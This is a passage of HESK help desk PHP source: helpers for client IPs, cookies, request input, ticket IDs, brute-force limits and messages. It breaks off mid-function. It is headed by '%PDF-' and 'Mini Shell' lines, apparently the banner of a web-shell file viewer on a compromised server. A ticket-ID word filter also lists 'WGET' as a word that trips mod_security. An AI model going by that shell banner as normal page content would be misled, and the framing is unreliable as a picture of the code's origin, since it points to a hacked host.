%PDF-
%PDF-
Mini Shell
Mini Shell
<?php
/**
*
* This file is part of HESK - PHP Help Desk Software.
*
* (c) Copyright Klemen Stirn. All rights reserved.
* https://www.hesk.com
*
* For the full copyright and license agreement information visit
* https://www.hesk.com/eula.php
*
*/
/* Check if this is a valid include */
if (!defined('IN_SCRIPT')) {die('Invalid attempt');}
#error_reporting(E_ALL);
/*
* If code is executed from CLI, don't force SSL
* else set correct Content-Type header
*/
if (defined('NO_HTTP_HEADER'))
{
$hesk_settings['force_ssl'] = false;
}
else
{
header('Content-Type: text/html; charset=utf-8');
// Don't allow HESK to be loaded in a frame on third party domains
if ($hesk_settings['x_frame_opt'])
{
header('X-Frame-Options: SAMEORIGIN');
}
}
// Set backslash options
if (version_compare(PHP_VERSION, '5.4.0', '<') && get_magic_quotes_gpc())
{
define('HESK_SLASH',false);
}
else
{
define('HESK_SLASH',true);
}
// Define some constants for backward-compatibility
if ( ! defined('ENT_SUBSTITUTE'))
{
define('ENT_SUBSTITUTE', 0);
}
if ( ! defined('ENT_XHTML'))
{
define('ENT_XHTML', 0);
}
// Is this is a SSL connection?
if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on')
{
define('HESK_SSL', true);
// Use https-only cookies
@ini_set('session.cookie_secure', 1);
}
else
{
// Force redirect?
if ($hesk_settings['force_ssl'])
{
header('HTTP/1.1 301 Moved Permanently');
header('Location: https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
exit();
}
define('HESK_SSL', false);
}
// Prevents javascript XSS attacks aimed to steal the session ID
@ini_set('session.cookie_httponly', 1);
// **PREVENTING SESSION FIXATION**
// Session ID cannot be passed through URLs
@ini_set('session.use_only_cookies', 1);
// Load language file
hesk_getLanguage();
// Set timezone
hesk_setTimezone();
/*** FUNCTIONS ***/
function hesk_getClientIP()
{
global $hesk_settings;
// Already set? Just return it
if (isset($hesk_settings['client_IP']))
{
return $hesk_settings['client_IP'];
}
// Empty client IP, for example when used in CLI (piping, cron jobs, ...)
$hesk_settings['client_IP'] = '';
// Server (environment) variables to loop through
// the first valid one found will be returned as client IP
// Uncomment those used on your server
$server_client_IP_variables = array(
// 'HTTP_CF_CONNECTING_IP', // CloudFlare
// 'HTTP_CLIENT_IP',
// 'HTTP_X_FORWARDED_FOR',
// 'HTTP_X_FORWARDED',
// 'HTTP_FORWARDED_FOR',
// 'HTTP_FORWARDED',
'REMOTE_ADDR',
);
// The first valid environment variable is our client IP
foreach ($server_client_IP_variables as $server_client_IP_variable)
{
// Must be set
if ( ! isset($_SERVER[$server_client_IP_variable]))
{
continue;
}
// Must be a valid IP
if ( ! hesk_isValidIP($_SERVER[$server_client_IP_variable]))
{
continue;
}
// Bingo!
$hesk_settings['client_IP'] = $_SERVER[$server_client_IP_variable];
break;
}
return $hesk_settings['client_IP'];
} // END hesk_getClientIP()
function hesk_isValidIP($ip)
{
// Use filter_var for PHP 5.2.0+
if ( function_exists('filter_var') && filter_var($ip, FILTER_VALIDATE_IP) !== false )
{
return true;
}
// Use regex for PHP < 5.2.0
// -> IPv4
if ( preg_match('/^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$/', $ip) )
{
return true;
}
// -> IPv6
if ( preg_match('/^[0-9A-Fa-f\:\.]+$/', $ip) )
{
return true;
}
// Not a valid IP
return false;
} // END hesk_isValidIP()
function hesk_setcookie($name, $value, $expire=0, $path="")
{
if (HESK_SSL)
{
setcookie($name, $value, $expire, $path, "", true, true);
}
else
{
setcookie($name, $value, $expire, $path, "", false, true);
}
return true;
} // END hesk_setcookie()
function hesk_service_message($sm)
{
switch ($sm['style'])
{
case 1:
$style = "success";
break;
case 2:
$style = "info";
break;
case 3:
$style = "notice";
break;
case 4:
$style = "error";
break;
default:
$style = "none";
}
?>
<div class="<?php echo $style; ?>">
<?php echo $style == 'none' ? '' : '<img src="'.HESK_PATH.'img/'.$style.'.png" width="16" height="16" border="0" alt="" style="vertical-align:text-bottom" /> '; ?>
<b><?php echo $sm['title']; ?></b> <?php echo $sm['message']; ?>
</div>
<br />
<?php
} // END hesk_service_message()
function hesk_isBannedIP($ip)
{
global $hesk_settings, $hesklang, $hesk_db_link;
$ip = ip2long($ip) or $ip = 0;
// We need positive value of IP
if ($ip < 0)
{
$ip += 4294967296;
}
elseif ($ip > 4294967296)
{
$ip = 4294967296;
}
$res = hesk_dbQuery("SELECT `id` FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."banned_ips` WHERE {$ip} BETWEEN `ip_from` AND `ip_to` LIMIT 1");
return ( hesk_dbNumRows($res) == 1 ) ? hesk_dbResult($res) : false;
} // END hesk_isBannedIP()
function hesk_isBannedEmail($email)
{
global $hesk_settings, $hesklang, $hesk_db_link;
$email = strtolower($email);
$res = hesk_dbQuery("SELECT `id` FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."banned_emails` WHERE `email` IN ('".hesk_dbEscape($email)."', '".hesk_dbEscape( substr($email, strrpos($email, "@") ) )."') LIMIT 1");
return ( hesk_dbNumRows($res) == 1 ) ? hesk_dbResult($res) : false;
} // END hesk_isBannedEmail()
function hesk_clean_utf8($in)
{
//reject overly long 2 byte sequences, as well as characters above U+10000 and replace with ?
$in = preg_replace('/[\x00-\x08\x10\x0B\x0C\x0E-\x19\x7F]'.
'|[\x00-\x7F][\x80-\xBF]+'.
'|([\xC0\xC1]|[\xF0-\xFF])[\x80-\xBF]*'.
'|[\xC2-\xDF]((?![\x80-\xBF])|[\x80-\xBF]{2,})'.
'|[\xE0-\xEF](([\x80-\xBF](?![\x80-\xBF]))|(?![\x80-\xBF]{2})|[\x80-\xBF]{3,})/S',
'?', $in );
//reject overly long 3 byte sequences and UTF-16 surrogates and replace with ?
$in = preg_replace('/\xE0[\x80-\x9F][\x80-\xBF]'.
'|\xED[\xA0-\xBF][\x80-\xBF]/S','?', $in );
return $in;
} // END hesk_clean_utf8()
function hesk_load_database_functions()
{
// Already loaded?
if (function_exists('hesk_dbQuery'))
{
return true;
}
// Preferrably use the MySQLi functions
elseif ( function_exists('mysqli_connect') )
{
require(HESK_PATH . 'inc/database_mysqli.inc.php');
}
// Default to MySQL
else
{
require(HESK_PATH . 'inc/database.inc.php');
}
} // END hesk_load_database_functions()
function hesk_unlink($file, $older_than=0)
{
return ( is_file($file) && ( ! $older_than || (time()-filectime($file)) > $older_than ) && @unlink($file) ) ? true : false;
} // END hesk_unlink()
function hesk_unlink_callable($file, $key, $older_than=0)
{
return hesk_unlink($file, $older_than);
} // END hesk_unlink_callable()
function hesk_utf8_urldecode($in)
{
$in = preg_replace("/%u([0-9a-f]{3,4})/i","&#x\\1;", urldecode($in));
return hesk_html_entity_decode($in);
} // END hesk_utf8_urldecode
function hesk_SESSION($in, $default = '')
{
if (is_array($in))
{
return isset($_SESSION[$in[0]][$in[1]]) && ! is_array(isset($_SESSION[$in[0]][$in[1]])) ? $_SESSION[$in[0]][$in[1]] : $default;
}
else
{
return isset($_SESSION[$in]) && ! is_array($_SESSION[$in]) ? $_SESSION[$in] : $default;
}
} // END hesk_SESSION();
function hesk_COOKIE($in, $default = '')
{
return isset($_COOKIE[$in]) && ! is_array($_COOKIE[$in]) ? $_COOKIE[$in] : $default;
} // END hesk_COOKIE();
function hesk_GET($in, $default = '')
{
return isset($_GET[$in]) && ! is_array($_GET[$in]) ? $_GET[$in] : $default;
} // END hesk_GET()
function hesk_POST($in, $default = '')
{
return isset($_POST[$in]) && ! is_array($_POST[$in]) ? $_POST[$in] : $default;
} // END hesk_POST()
function hesk_POST_array($in, $default = array() )
{
return isset($_POST[$in]) && is_array($_POST[$in]) ? $_POST[$in] : $default;
} // END hesk_POST_array()
function hesk_REQUEST($in, $default = false)
{
return isset($_GET[$in]) ? hesk_input( hesk_GET($in) ) : ( isset($_POST[$in]) ? hesk_input( hesk_POST($in) ) : $default );
} // END hesk_REQUEST()
function hesk_isREQUEST($in)
{
return isset($_GET[$in]) || isset($_POST[$in]) ? true : false;
} // END hesk_isREQUEST()
function hesk_mb_substr($in, $start, $length)
{
return function_exists('mb_substr') ? mb_substr($in, $start, $length, 'UTF-8') : substr($in, $start, $length);
} // END hesk_mb_substr()
function hesk_mb_strlen($in)
{
return function_exists('mb_strlen') ? mb_strlen($in, 'UTF-8') : strlen($in);
} // END hesk_mb_strlen()
function hesk_mb_strtolower($in)
{
return function_exists('mb_strtolower') ? mb_strtolower($in, 'UTF-8') : strtolower($in);
} // END hesk_mb_strtolower()
function hesk_ucfirst($in)
{
return function_exists('mb_convert_case') ? mb_convert_case($in, MB_CASE_TITLE, 'UTF-8') : ucfirst($in);
} // END hesk_mb_ucfirst()
function hesk_htmlspecialchars_decode($in)
{
return str_replace( array('&', '<', '>', '"'), array('&', '<', '>', '"'), $in);
} // END hesk_htmlspecialchars_decode()
function hesk_html_entity_decode($in)
{
return html_entity_decode($in, ENT_COMPAT | ENT_XHTML, 'UTF-8');
#return html_entity_decode($in, ENT_COMPAT | ENT_XHTML, 'ISO-8859-1');
} // END hesk_html_entity_decode()
function hesk_htmlspecialchars($in)
{
return htmlspecialchars($in, ENT_COMPAT | ENT_SUBSTITUTE | ENT_XHTML, 'UTF-8');
#return htmlspecialchars($in, ENT_COMPAT | ENT_SUBSTITUTE | ENT_XHTML, 'ISO-8859-1');
} // END hesk_htmlspecialchars()
function hesk_htmlentities($in)
{
return htmlentities($in, ENT_COMPAT | ENT_SUBSTITUTE | ENT_XHTML, 'UTF-8');
#return htmlentities($in, ENT_COMPAT | ENT_SUBSTITUTE | ENT_XHTML, 'ISO-8859-1');
} // END hesk_htmlentities()
function hesk_slashJS($in)
{
return str_replace( '\'', '\\\'', $in);
} // END hesk_slashJS()
function hesk_verifyEmailMatch($trackingID, $my_email = 0, $ticket_email = 0, $error = 1)
{
global $hesk_settings, $hesklang, $hesk_db_link;
/* Email required to view ticket? */
if ( ! $hesk_settings['email_view_ticket'])
{
$hesk_settings['e_param'] = '';
$hesk_settings['e_query'] = '';
$hesk_settings['e_email'] = '';
return true;
}
/* Limit brute force attempts */
hesk_limitBfAttempts();
/* Get email address */
if ($my_email)
{
$hesk_settings['e_param'] = '&e=' . rawurlencode($my_email);
$hesk_settings['e_query'] = '&e=' . rawurlencode($my_email);
$hesk_settings['e_email'] = $my_email;
}
else
{
$my_email = hesk_getCustomerEmail();
}
/* Get email from ticket */
if ( ! $ticket_email)
{
$res = hesk_dbQuery("SELECT `email` FROM `".$hesk_settings['db_pfix']."tickets` WHERE `trackid`='".hesk_dbEscape($trackingID)."' LIMIT 1");
if (hesk_dbNumRows($res) == 1)
{
$ticket_email = hesk_dbResult($res);
}
else
{
hesk_process_messages($hesklang['ticket_not_found'],'ticket.php');
}
}
/* Validate email */
if ($hesk_settings['multi_eml'])
{
$valid_emails = explode(',', strtolower($ticket_email) );
if ( in_array(strtolower($my_email), $valid_emails) )
{
/* Match, clean brute force attempts and return true */
hesk_cleanBfAttempts();
return true;
}
}
elseif ( strtolower($ticket_email) == strtolower($my_email) )
{
/* Match, clean brute force attempts and return true */
hesk_cleanBfAttempts();
return true;
}
/* Email doesn't match, clean cookies and error out */
if ($error)
{
hesk_setcookie('hesk_myemail', '');
hesk_process_messages($hesklang['enmdb'],'ticket.php?track='.$trackingID.'&Refresh='.rand(10000,99999));
}
else
{
return false;
}
} // END hesk_verifyEmailMatch()
function hesk_getCustomerEmail($can_remember = 0, $field = '', $force_only_one = 0)
{
global $hesk_settings, $hesklang;
/* Email required to view ticket? */
if ( ! $hesk_settings['email_view_ticket'])
{
$hesk_settings['e_param'] = '';
$hesk_settings['e_query'] = '';
$hesk_settings['e_email'] = '';
return '';
}
/* Is this a form that enables remembering email? */
if ($can_remember)
{
global $do_remember;
}
$my_email = '';
/* Is email in session? */
if ( strlen($field) && isset($_SESSION[$field]) )
{
$my_email = hesk_validateEmail($_SESSION[$field], 'ERR', 0);
}
/* Is email in query string? */
elseif ( isset($_GET['e']) || isset($_POST['e']) )
{
$my_email = hesk_validateEmail( hesk_REQUEST('e') ,'ERR',0);
}
/* Is email in cookie? */
elseif ( isset($_COOKIE['hesk_myemail']) )
{
$my_email = hesk_validateEmail( hesk_COOKIE('hesk_myemail'), 'ERR', 0);
if ($can_remember && $my_email)
{
$do_remember = ' checked="checked" ';
}
}
// Remove unwanted side-effects
$my_email = hesk_emailCleanup($my_email);
// Force only one email address? Use the first one.
if ($force_only_one)
{
$my_email = strtok($my_email, ',');
}
$hesk_settings['e_param'] = '&e=' . rawurlencode($my_email);
$hesk_settings['e_query'] = '&e=' . rawurlencode($my_email);
$hesk_settings['e_email'] = $my_email;
return $my_email;
} // END hesk_getCustomerEmail()
function hesk_emailCleanup($my_email)
{
return preg_replace("/(\\\)+'/", "'", $my_email);
} // END hesk_emailCleanup()
function hesk_formatBytes($size, $translate_unit = 1, $precision = 2)
{
global $hesklang;
$units = array(
'GB' => 1073741824,
'MB' => 1048576,
'kB' => 1024,
'B' => 1
);
foreach ($units as $suffix => $bytes)
{
if ($bytes > $size)
{
continue;
}
$full = $size / $bytes;
$round = round($full, $precision);
if ($full == $round)
{
if ($translate_unit)
{
return $round . ' ' . $hesklang[$suffix];
}
else
{
return $round . ' ' . $suffix;
}
}
}
return false;
} // End hesk_formatBytes()
function hesk_autoAssignTicket($ticket_category)
{
global $hesk_settings, $hesklang;
/* Auto assign ticket enabled? */
if ( ! $hesk_settings['autoassign'])
{
return false;
}
$autoassign_owner = array();
/* Get all possible auto-assign staff, order by number of open tickets */
$res = hesk_dbQuery("SELECT `t1`.`id`,`t1`.`user`,`t1`.`name`, `t1`.`email`, `t1`.`language`, `t1`.`isadmin`, `t1`.`categories`, `t1`.`notify_assigned`, `t1`.`heskprivileges`,
(SELECT COUNT(*) FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."tickets` FORCE KEY (`statuses`) WHERE `owner`=`t1`.`id` AND `status` IN ('0','1','2','4','5') ) as `open_tickets`
FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."users` AS `t1`
WHERE `t1`.`autoassign`='1' ORDER BY `open_tickets` ASC, RAND()");
/* Loop through the rows and return the first appropriate one */
while ($myuser = hesk_dbFetchAssoc($res))
{
/* Is this an administrator? */
if ($myuser['isadmin'])
{
$autoassign_owner = $myuser;
$hesk_settings['user_data'][$myuser['id']] = $myuser;
hesk_dbFreeResult($res);
break;
}
/* Not and administrator, check two things: */
/* --> can view and reply to tickets */
if (strpos($myuser['heskprivileges'], 'can_view_tickets') === false || strpos($myuser['heskprivileges'], 'can_reply_tickets') === false)
{
continue;
}
/* --> has access to ticket category */
$myuser['categories']=explode(',',$myuser['categories']);
if (in_array($ticket_category,$myuser['categories']))
{
$autoassign_owner = $myuser;
$hesk_settings['user_data'][$myuser['id']] = $myuser;
hesk_dbFreeResult($res);
break;
}
}
return $autoassign_owner;
} // END hesk_autoAssignTicket()
function hesk_cleanID($field='track', $in=false)
{
$id = '';
if ($in !== false)
{
$id = $in;
}
elseif ( isset($_SESSION[$field]) )
{
$id = $_SESSION[$field];
}
elseif ( isset($_GET[$field]) && ! is_array($_GET[$field]) )
{
$id = $_GET[$field];
}
elseif ( isset($_POST[$field]) && ! is_array($_POST[$field]) )
{
$id = $_POST[$field];
}
else
{
return false;
}
return substr( preg_replace('/[^A-Z0-9\-]/','',strtoupper($id)) , 0, 12);
} // END hesk_cleanID()
function hesk_createID()
{
global $hesk_settings, $hesklang, $hesk_error_buffer;
/*** Generate tracking ID and make sure it's not a duplicate one ***/
/* Ticket ID can be of these chars */
$useChars = 'AEUYBDGHJLMNPQRSTVWXZ123456789';
/* Set tracking ID to an empty string */
$trackingID = '';
/* Let's avoid duplicate ticket ID's, try up to 3 times */
for ($i=1;$i<=3;$i++)
{
/* Generate raw ID */
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
/* Format the ID to the correct shape and check wording */
$trackingID = hesk_formatID($trackingID);
/* Check for duplicate IDs */
$res = hesk_dbQuery("SELECT `id` FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."tickets` WHERE `trackid` = '".hesk_dbEscape($trackingID)."' LIMIT 1");
if (hesk_dbNumRows($res) == 0)
{
/* Everything is OK, no duplicates found */
return $trackingID;
}
/* A duplicate ID has been found! Let's try again (up to 2 more) */
$trackingID = '';
}
/* No valid tracking ID, try one more time with microtime() */
$trackingID = $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= $useChars[mt_rand(0,29)];
$trackingID .= substr(microtime(), -5);
/* Format the ID to the correct shape and check wording */
$trackingID = hesk_formatID($trackingID);
$res = hesk_dbQuery("SELECT `id` FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."tickets` WHERE `trackid` = '".hesk_dbEscape($trackingID)."' LIMIT 1");
/* All failed, must be a server-side problem... */
if (hesk_dbNumRows($res) == 0)
{
return $trackingID;
}
$hesk_error_buffer['etid'] = $hesklang['e_tid'];
return false;
} // END hesk_createID()
function hesk_formatID($id)
{
$useChars = 'AEUYBDGHJLMNPQRSTVWXZ123456789';
$replace = $useChars[mt_rand(0,29)];
$replace .= mt_rand(1,9);
$replace .= $useChars[mt_rand(0,29)];
/*
Remove 3 letter bad words from ID
Possiblitiy: 1:27,000
*/
$remove = array(
'ASS',
'CUM',
'FAG',
'FUK',
'GAY',
'SEX',
'TIT',
'XXX',
);
$id = str_replace($remove,$replace,$id);
/*
Remove 4 letter bad words from ID
Possiblitiy: 1:810,000
*/
$remove = array(
'ANAL',
'ANUS',
'BUTT',
'CAWK',
'CLIT',
'COCK',
'CRAP',
'CUNT',
'DICK',
'DYKE',
'FART',
'FUCK',
'JAPS',
'JERK',
'JIZZ',
'KNOB',
'PISS',
'POOP',
'SHIT',
'SLUT',
'SUCK',
'TURD',
// Also, remove words that are known to trigger mod_security
'WGET',
);
$replace .= mt_rand(1,9);
$id = str_replace($remove,$replace,$id);
/* Format the ID string into XXX-XXX-XXXX format for easier readability */
$id = $id[0].$id[1].$id[2].'-'.$id[3].$id[4].$id[5].'-'.$id[6].$id[7].$id[8].$id[9];
return $id;
} // END hesk_formatID()
function hesk_cleanBfAttempts()
{
global $hesk_settings, $hesklang;
/* If this feature is disabled, just return */
if ( ! $hesk_settings['attempt_limit'] || defined('HESK_BF_CLEAN') )
{
return true;
}
/* Delete expired logs from the database */
$res = hesk_dbQuery("DELETE FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."logins` WHERE `ip`='".hesk_dbEscape(hesk_getClientIP())."'");
define('HESK_BF_CLEAN', 1);
return true;
} // END hesk_cleanAttempts()
function hesk_limitBfAttempts($showError=1)
{
global $hesk_settings, $hesklang;
// Check if this IP is banned permanently
if ( hesk_isBannedIP(hesk_getClientIP()) )
{
hesk_error($hesklang['baned_ip'], 0);
}
/* If this feature is disabled or already called, return false */
if ( ! $hesk_settings['attempt_limit'] || defined('HESK_BF_LIMIT') )
{
return false;
}
/* Define this constant to avoid duplicate checks */
define('HESK_BF_LIMIT', 1);
$ip = hesk_getClientIP();
/* Get number of failed attempts from the database */
$res = hesk_dbQuery("SELECT `number`, (CASE WHEN `last_attempt` IS NOT NULL AND DATE_ADD(`last_attempt`, INTERVAL ".intval($hesk_settings['attempt_banmin'])." MINUTE ) > NOW() THEN 1 ELSE 0 END) AS `banned` FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."logins` WHERE `ip`='".hesk_dbEscape($ip)."' LIMIT 1");
/* Not in the database yet? Add first one and return false */
if (hesk_dbNumRows($res) != 1)
{
hesk_dbQuery("INSERT INTO `".hesk_dbEscape($hesk_settings['db_pfix'])."logins` (`ip`) VALUES ('".hesk_dbEscape($ip)."')");
return false;
}
/* Get number of failed attempts and increase by 1 */
$row = hesk_dbFetchAssoc($res);
$row['number']++;
/* If too many failed attempts either return error or reset count if time limit expired */
if ($row['number'] >= $hesk_settings['attempt_limit'])
{
if ($row['banned'])
{
$tmp = sprintf($hesklang['yhbb'],$hesk_settings['attempt_banmin']);
unset($_SESSION);
if ($showError)
{
hesk_error($tmp,0);
}
else
{
return $tmp;
}
}
else
{
$row['number'] = 1;
}
}
hesk_dbQuery("UPDATE `".hesk_dbEscape($hesk_settings['db_pfix'])."logins` SET `number`=".intval($row['number'])." WHERE `ip`='".hesk_dbEscape($ip)."'");
return false;
} // END hesk_limitAttempts()
function hesk_getCategoryName($id)
{
global $hesk_settings, $hesklang;
if (empty($id))
{
return $hesklang['unas'];
}
// If we already have the name no need to query DB another time
if ( isset($hesk_settings['category_data'][$id]['name']) )
{
return $hesk_settings['category_data'][$id]['name'];
}
$res = hesk_dbQuery("SELECT `name` FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."categories` WHERE `id`='".intval($id)."' LIMIT 1");
if (hesk_dbNumRows($res) != 1)
{
return $hesklang['catd'];
}
$hesk_settings['category_data'][$id]['name'] = hesk_dbResult($res,0,0);
return $hesk_settings['category_data'][$id]['name'];
} // END hesk_getOwnerName()
function hesk_getReplierName($ticket)
{
global $hesk_settings, $hesklang;
// Already have this info?
if (isset($ticket['last_reply_by']))
{
return $ticket['last_reply_by'];
}
// Last reply by staff
if ( ! empty($ticket['lastreplier']))
{
// We don't know who from staff so just send "Staff"
if (empty($ticket['replierid']))
{
return $hesklang['staff'];
}
// Get the name using another function
$replier = hesk_getOwnerName($ticket['replierid']);
// If replier comes back as "unassigned", default to "Staff"
if ($replier == $hesklang['unas'])
{
return $hesklang['staff'];
}
return $replier;
}
// Last reply by customer
return $ticket['name'];
} // END hesk_getReplierName()
function hesk_getOwnerName($id)
{
global $hesk_settings, $hesklang;
if (empty($id))
{
return $hesklang['unas'];
}
// If we already have the name no need to query DB another time
if ( isset($hesk_settings['user_data'][$id]['name']) )
{
return $hesk_settings['user_data'][$id]['name'];
}
$res = hesk_dbQuery("SELECT `name` FROM `".hesk_dbEscape($hesk_settings['db_pfix'])."users` WHERE `id`='".intval($id)."' LIMIT 1");
if (hesk_dbNumRows($res) != 1)
{
return $hesklang['unas'];
}
$hesk_settings['user_data'][$id]['name'] = hesk_dbResult($res,0,0);
return $hesk_settings['user_data'][$id]['name'];
} // END hesk_getOwnerName()
function hesk_cleanSessionVars($arr)
{
if (is_array($arr))
{
foreach ($arr as $str)
{
if (isset($_SESSION[$str]))
{
unset($_SESSION[$str]);
}
}
}
elseif (isset($_SESSION[$arr]))
{
unset($_SESSION[$arr]);
}
} // End hesk_cleanSessionVars()
function hesk_process_messages($message,$redirect_to,$type='ERROR')
{
global $hesk_settings, $hesklang;
switch ($type)
{
case 'SUCCESS':
$_SESSION['HESK_SUCCESS'] = TRUE;
break;
case 'NOTICE':
$_SESSION['HESK_NOTICE'] = TRUE;
break;
case 'INFO':
$_SESSION['HESK_INFO'] = TRUE;
break;
default:
$_SESSION['HESK_ERROR'] = TRUE;
}
$_SESSION['HESK_MESSAGE'] = $message;
/* In some cases we don't want a redirect */
if ($redirect_to == 'NOREDIRECT')
{
return TRUE;
}
header('Location: '.$redirect_to);
exit();
} // END hesk_process_messages()
function hesk_handle_messages()
{
global $hesk_settings, $hesklang;
$return_value = true;
// Primary message - only one can be displayed and HESK_MESSAGE is required
if ( isset($_SESSION['HESK_MESSAGE']) )
{
if ( isset($_SESSION['HESK_SUCCESS']) )
{
hesk_show_success($_SESSION['HESK_MESSAGE']);
}
elseif ( isset($_SESSION['HESK_ERROR']) )
{
hesk_show_error($_SESSION['HESK_MESSAGE']);
$return_value = false;
}
elseif ( isset($_SESSION['HESK_NOTICE']) )
{
hesk_show_notice($_SESSION['HESK_MESSAGE']);
}
elseif ( isset($_SESSION['HESK_INFO']) )
{
hesk_show_info($_SESSION['HESK_MESSAGE']);
}
hesk_cleanSessionVars('HESK_MESSAGE');
}
// Cleanup any primary message types set
hesk_cleanSessionVars('HESK_ERROR');
hesk_cleanSessionVars('HESK_SUCCESS');
hesk_cleanSessionVars('HESK_NOTICE');
hesk_cleanSessionVars('HESK_INFO');
// Secondary message
if ( isset($_SESSION['HESK_2ND_NOTICE']) && isset($_SESSION['HESK_2ND_MESSAGE']) )
{
hesk_show_notice($_SESSION['HESK_2ND_MESSAGE']);
hesk_cleanSessionVars('HESK_2ND_NOTICE');
hesk_cleanSessionVars('HESK_2ND_MESSAGE');
}
return $return_value;
} // END hesk_handle_messages()
function hesk_show_error($message,$title='',$append_colon=true)
{
global $hesk_settings, $hesklang;
$title = $title ? $title : $hesklang['error'];
$title = $append_colon ? $title . ':' : $title;
?>
<div class="error">
<img src="<?php echo HESK_PATH; ?>img/error.png" width="16" height="16" border="0" alt="" style="vertical-align:text-bottom" />
<b><?php echo $title; ?></b> <?php echo $message; ?>
</div>
<br />
<?php
} // END hesk_show_error()
function hesk_show_success($message,$title='',$append_colon=true)
{
global $hesk_settings, $hesklang;
$title = $title ? $title : $hesklang['success'];
$title = $append_colon ? $title . ':' : $title;
?>
<div class="success">
<img src="<?php echo HESK_PATH; ?>img/success.png" width="16" height="16" border="0" alt="" style="vertical-align:text-bottom" />
<b><?php echo $title; ?></b> <?php echo $message; ?>
</div>
<br />
<?php
} // END hesk_show_success()
function hesk_show_notice($message,$title='',$append_colon=true)
{
global $hesk_settings, $hesklang;
$title = $title ? $title : $hesklang['note'];
$title = $append_colon ? $title . ':' : $title;
?>
<div class="notice">
<img src="<?php echo HESK_PATH; ?>img/notice.png" width="16" height="16" border="0" alt="" style="vertical-align:text-bottom" />
<b><?php echo $title; ?></b> <?php echo $message; ?>
</div>
<br />
<?php
} // END hesk_show_notice()
function hesk_show_info($message,$title='',$append_colon=true)
{
global $hesk_settings, $hesklang;
$title = $title ? $title : $hesklang['info'];
$title = $append_colon ? $title . ':' : $title;
?>
<div class="info">
<img src="<?php echo HESK_PATH; ?>img/info.png" width="16" height="16" border="0" alt="" style="vertical-align:text-bottom" />
<b><?php echo $title; ?></b> <?php echo $message; ?>
</div>
<br />
<?php
} // END hesk_show_info()
function hesk_token_echo($do_echo = 1)
{
if ( ! defined('SESSION_CLEAN'))
{
$_SESSION['token'] = hesk_htmlspecialchars(strip_tags($_SESSION['token']));
define('SESSION_CLEAN', true);
}
if ($do_echo)
{
echo $_SESSION['token'];
}
else
{
return $_SESSION['token'];
}
} // END hesk_token_echo()
function hesk_token_check($method='GET', $show_error=1)
{
// Get the token
$my_token = hesk_REQUEST('token');
// Verify it or throw an error
if ( ! hesk_token_compare($my_token))
{
if ($show_error)
{
global $hesk_settings, $hesklang;
hesk_error($hesklang['eto']);
}
else
{
return false;
}
}
return true;
} // END hesk_token_check()
function hesk_token_compare($my_token)
{
if (isset($_SESSION['token']) && $my_token == $_SESSION['token'])
{
return true;
}
else
{
return false;
}
} // END hesk_token_compare()
function hesk_token_hash()
{
return sha1(time() . microtime() . uniqid(rand(), true) );
} // END hesk_token_hash()
function & ref_new(&$new_statement)
{
return $new_statement;
} // END ref_new()
function hesk_ticketToPlain($ticket, $specialchars=0, $strip=1)
{
if ( is_array($ticket) )
{
foreach ($ticket as $key => $value)
{
$ticket[$key] = is_array($ticket[$key]) ? hesk_ticketToPlain($value, $specialchars, $strip) : hesk_msgToPlain($value, $specialchars, $strip);
}
return $ticket;
}
else
{
return hesk_msgToPlain($ticket, $specialchars, $strip);
}
} // END hesk_ticketToPlain()
function hesk_msgToPlain($msg, $specialchars=0, $strip=1)
{
$msg = preg_replace('/\<a href="(mailto:)?([^"]*)"[^\<]*\<\/a\>/i', "$2", $msg);
$msg = preg_replace('/<br \/>\s*/',"\n",$msg);
$msg = trim($msg);
if ($strip)
{
$msg = stripslashes($msg);
}
if ($specialchars)
{
$msg = hesk_html_entity_decode($msg);
}
return $msg;
} // END hesk_msgToPlain()
function hesk_showTopBar($page_title, $trackingID = false)
{
global $hesk_settings, $hesklang;
if ($hesk_settings['can_sel_lang'])
{
$str = '<form method="get" action="" style="margin:0;padding:0;border:0;white-space:nowrap;">';
if ($trackingID !== false)
{
$str .= '<input type="hidden" name="track" value="'.hesk_htmlentities($trackingID).'" />';
if ($hesk_settings['email_view_ticket'] && isset($hesk_settings['e_email']))
{
$str .= '<input type="hidden" name="e" value="'.hesk_htmlentities($hesk_settings['e_email']).'" />';
}
}
if ( ! isset($_GET) )
{
$_GET = array();
}
foreach ($_GET as $k => $v)
{
if ($k == 'language')
{
continue;
}
$str .= '<input type="hidden" name="'.hesk_htmlentities($k).'" value="'.hesk_htmlentities($v).'" />';
}
$str .= '<select name="language" onchange="this.form.submit()">';
$str .= hesk_listLanguages(0);
$str .= '</select>';
?>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tr>
<td class="headersm" style="padding-left: 0px;"><?php echo $page_title; ?></td>
<td class="headersm" style="padding-left: 0px;text-align: right">
<script language="javascript" type="text/javascript">
document.write('<?php echo str_replace(array('"','<','=','>',"'"),array('\42','\74','\75','\76','\47'),$str . '</form>'); ?>');
</script>
<noscript>
<?php
echo $str . '<input type="submit" value="'.$hesklang['go'].'" /></form>';
?>
</noscript>
</td>
</tr>
</table>
<?php
}
else
{
echo $page_title;
}
} // END hesk_showTopBar()
function hesk_listLanguages($doecho = 1) {
global $hesk_settings, $hesklang;
$tmp = '';
foreach ($hesk_settings['languages'] as $lang => $info)
{
if ($lang == $hesk_settings['language'])
{
